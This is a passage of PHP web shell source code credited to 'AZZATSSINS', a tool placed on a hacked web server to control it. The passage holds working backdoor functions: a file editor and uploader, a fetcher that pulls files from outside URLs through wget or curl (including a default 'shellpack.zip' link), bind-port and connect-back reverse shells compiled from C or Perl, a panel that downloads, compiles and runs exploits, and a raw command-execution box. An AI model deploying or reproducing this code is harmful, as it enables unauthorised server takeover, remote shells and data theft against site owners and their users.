6657<tr><td>View</td><td><a href=\"?azzatssins=".$pwd."&view=".$file."&type=code\">Highlight Code</a>
6658|
6659<a href=\"?azzatssins=".$pwd."&view=".$file."\">Text</a>
6660|
6661<a href=\"?azzatssins=".$pwd."&view=".$file."&type=image\">image</a></td></tr> </table> ";
6662
6663if(isset($_GET['type']) && ($_GET['type']=='image')){
6664
6665echo "<div style=\"text-align:center;margin:8px;\">
6666<img src=\"?azzatssins=".$pwd."&img=".$filn."\"></div>";
6667}
6668
6669elseif(isset($_GET['type']) && ($_GET['type']=='code')){
6670echo "<div class=\"viewfile\">";
6671echo nl2br(htmlentities((@file_get_contents($file))));
6672echo "</div>";
6673
6674} else {
6675echo "<div class=\"viewfile\">";
6676$file = wordwrap(@file_get_contents($file),"240","\n");
6677@highlight_string($file);
6678echo "</div>";
6679
6680}
6681}
6682elseif(is_dir($_GET['view'])) {
6683echo showdir($pwd,$prompt);
6684}
6685}
6686elseif(isset($_GET['edit']) && ($_GET['edit'] != "")) {
6687if(isset($_POST['save'])) {
6688$file = $_POST['saveas'];
6689$content = magicboom($_POST['content']);
6690if($filez = @fopen($file,"w")) {
6691$time = date("d-M-Y H:i",time());
6692if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time; else $msg = "failed to save";
6693@fclose($filez);
6694} else $msg = "permission denied";
6695} if
6696(!isset($file)) $file = $_GET['edit'];
6697if($filez = @fopen($file,"r")) {
6698$content = ""; while(!feof($filez)) {
6699$content .= htmlentities(str_replace("''","'",fgets($filez)));
6700}
6701@fclose($filez);
6702}
6703?>
6704
6705<form action="?azzatssins=<?php echo $pwd; ?>&edit=<?php echo $file; ?>" method="post">
6706<table class="cmdbox">
6707<tr><td colspan="2">
6708<textarea class="output" name="content"><?php echo $content; ?></textarea></td>
6709<tr>
6710<td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" />
6711<input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" /> <?php echo $msg; ?></td></tr></table> </form>
6712
6713<?php }
6714# x=upload
6715elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){
6716if(isset($_POST['uploadcomp'])){
6717if(is_uploaded_file($_FILES['file']['tmp_name'])){
6718$path = magicboom($_POST['path']);
6719$fname = $_FILES['file']['name'];
6720$tmp_name = $_FILES['file']['tmp_name'];
6721$pindah = $path.$fname;
6722$stat = @move_uploaded_file($tmp_name,$pindah);
6723if($stat) {
6724$msg = "<br><nobr><span class='b11'>File Uploaded To $pindah ";
6725}
6726else $msg = "<br>Failed To Upload $fname";
6727}
6728else $msg = "<br>Failed To Upload $fname </span></nobr>";
6729}
6730
6731elseif(isset($_POST['uploadurl'])){
6732$pilihan = trim($_POST['pilihan']);
6733$wurl = trim($_POST['wurl']);
6734$path = magicboom($_POST['path']);
6735$namafile = download($pilihan,$wurl);
6736$pindah = $path.$namafile;
6737if(is_file($pindah)) {
6738$msg = "<br><nobr><span class='b11'>File Uploaded To $pindah";
6739}
6740else
6741$msg = "<br>Failed Upload $namafile </span></nobr>";
6742}
6743?>
6744
6745<form action="?azzatssins=<?php echo $pwd; ?>&x=upload" enctype="multipart/form-data" method="post">
6746<br><br><table class="tabnet" style="width:320px;padding:0 1px;">
6747<tr><th colspan="2"><b> <span class='b12'> _UPLOAD FILE_</span></b></th></tr>
6748<tr><td colspan="2"><nobr><p style="text-align:center;"><input style="color:red" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go !" style="width:100px;"></p></nobr></td></tr>
6749<tr><td colspan="2">
6750<input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
6751</table>
6752</form>
6753<table class="tabnet" style="width:320px;padding:0 1px;">
6754<tr><th colspan="2"><b><span class='b12'> _UPLOAD FROM URL_</span></b></th></tr>
6755<tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?azzatssins=<?php echo $pwd; ?>&x=upload">
6756<table>
6757<tr>
6758<td>URL : </td>
6759<td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://dm-zone.us/shellpack.zip"></td></tr>
6760<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
6761<tr><td>
6762<select size="1" class="inputz" name="pilihan">
6763<option value="wwget">wget</option>
6764<option value="wlynx">lynx</option>
6765<option value="wfread">fread</option>
6766<option value="wfetch">fetch</option>
6767<option value="wlinks">links</option>
6768<option value="wget">GET</option>
6769<option value="wcurl">curl</option>
6770</select></td>
6771<td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go !" style="width:246px;"></td></tr>
6772</table></form></td> </tr></table>
6773<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
6774
6775<?php }
6776elseif(isset($_GET['x']) && ($_GET['x'] == 'netsploit')){
6777if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {
6778
6779$port = trim($_POST['port']);
6780$passwrd = trim($_POST['bind_pass']);
6781tulis("bdc.c",$port_bind_bd_c);
6782exe("gcc -o bdc bdc.c");
6783exe("chmod 777 bdc");
6784@unlink("bdc.c");
6785exe("./bdc ".$port." ".$passwrd." &");
6786$scan = exe("ps aux");
6787if(eregi("./bdc $por",$scan)){
6788$msg = "<p>Process found running, backdoor setup successfully.</p>";
6789}
6790else {
6791$msg = "<p>Process not found running, backdoor not setup successfully.</p>";
6792}
6793}
6794
6795elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {
6796$port = trim($_POST['port']);
6797$passwrd = trim($_POST['bind_pass']);
6798tulis("bdp",$port_bind_bd_pl);
6799exe("chmod 777 bdp");
6800$p2=which("perl");
6801exe($p2." bdp ".$port." &");
6802$scan = exe("ps aux");
6803if(eregi("$p2 bdp $port",$scan)){
6804$msg = "<p>Process found running, backdoor setup successfully.</p>"; }
6805else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>";
6806}
6807}
6808
6809elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {
6810$ip = trim($_POST['ip']);
6811$port = trim($_POST['backport']);
6812tulis("bcc.c",$back_connect_c);
6813exe("gcc -o bcc bcc.c");
6814exe("chmod 777 bcc");
6815@unlink("bcc.c");
6816exe("./bcc ".$ip." ".$port." &");
6817$msg = "Now script try connect to ".$ip." port ".$port." ...";
6818}
6819
6820elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
6821$ip = trim($_POST['ip']);
6822$port = trim($_POST['backport']);
6823tulis_2("bcp",$back_connect);
6824exe("chmod +x bcp");
6825$p2=which("perl");
6826exe($p2." bcp ".$ip." ".$port." &");
6827sleep(1);
6828$msg = "Now script try connect to ".$ip." port ".$port." ...";
6829unlink("bcp");
6830}
6831
6832elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd'])) {
6833$pilihan = trim($_POST['pilihan']);
6834$wurl = trim($_POST['wurl']);
6835$namafile = download($pilihan,$wurl);
6836if(is_file($namafile)) { $msg = exe($wcmd); }
6837else $msg = "error: file not found $namafile";
6838}
6839?>
6840
6841<table class="tabnet"><tr>
6842<th>Port Binding</th>
6843<th>Connect Back</th>
6844<th>Load and Exploit</th></tr>
6845
6846<tr><td>
6847<form method="post" actions="?azzatssins=<?php echo $pwd; ?>&x=netsploit">
6848
6849<table><tr><td>Port</td>
6850<td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr>
6851
6852<tr><td>Password</td>
6853<td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr>
6854
6855<tr><td>Use</td>
6856<td style="text-align:justify">
6857<p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select><input class="inputzbut" type="submit" name="bind" value="Bind !" style="width:120px"></td></tr></table>
6858</form></td>
6859
6860<td> <form method="post" actions="?azzatssins=<?php echo $pwd; ?>&x=netsploit">
6861<table><tr><td>IP</td>
6862<td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")); ?>">
6863</td>
6864</tr>
6865<tr><td>Port</td>
6866<td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr>
6867
6868<tr><td>Use</td>
6869<td style="text-align:justify">
6870<p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select> <input type="submit" name="backconn" value="Connect !" class="inputzbut" style="width:120px"></td></tr></table> </form> </td>
6871
6872<td> <form method="post" actions="?azzatssins=<?php echo $pwd; ?>&x=netsploit">
6873<table> <tr><td>url</td>
6874<td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr>
6875<tr><td>cmd</td>
6876<td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td> </tr>
6877<tr><td><select size="1" class="inputz" name="pilihan">
6878<option value="wwget">wget</option>
6879<option value="wlynx">lynx</option>
6880<option value="wfread">fread</option>
6881<option value="wfetch">fetch</option>
6882<option value="wlinks">links</option> <option value="wget">GET</option>
6883<option value="wcurl">curl</option>
6884</select></td>
6885<td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go !" style="width:246px;"></td></tr></table></form </td></tr></table>
6886<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
6887
6888
6889<?php }
6890elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')) {
6891?>
6892<form action="?azzatssins=<?php echo $pwd; ?>&x=shell"method="post">
6893
6894<table class="cmdbox"> <tr>
6895<td colspan="2">
6896<textarea class="output"> <?php if(isset($_POST['submitcmd'])) { echo @exe($_POST['cmd']); } ?> </textarea> </td></tr>
6897
6898<tr><td colspan="2"><?php echo $prompt; ?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" /></td></tr>
6899</table></form>
6900
6901<?php
6902} else {
6903if(isset($_GET['delete']) && ($_GET['delete'] != "")){
6904$file = $_GET['delete']; @unlink($file);
6905}
6906
6907elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")){
6908delete_option($_GET['fdelete']);
6909}
6910
6911elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){
6912$path = $pwd.$_GET['mkdir']; @mkdir($path);
6913}
6914$buff = showdir($pwd,$prompt);
6915echo $buff;
6916}
6917?>
6918
6919
6920<!-- AZZATSSINS FOOTER -->
6921<div align="center">
6922<br>
6923<!-- DM5HELL RECODED BY AZZATSSINS -->
6924<br>
6925<table class="tabnet" style="width:700px;padding:0 1px;">
6926<tr><td align="center" colspan="2">
6927<nobr><span class='b12'>GO A HEAD AND TRY TO STOP ME</span>
6928</td></tr>
6929<tr><td align="center" colspan="2">
6930<nobr><span class='b12'>AZZATSSINS CYBERSERKERS © 2013 </span>
6931</td></tr>
6932</table><br><br>
6933</html>
6934</div></div></body></html>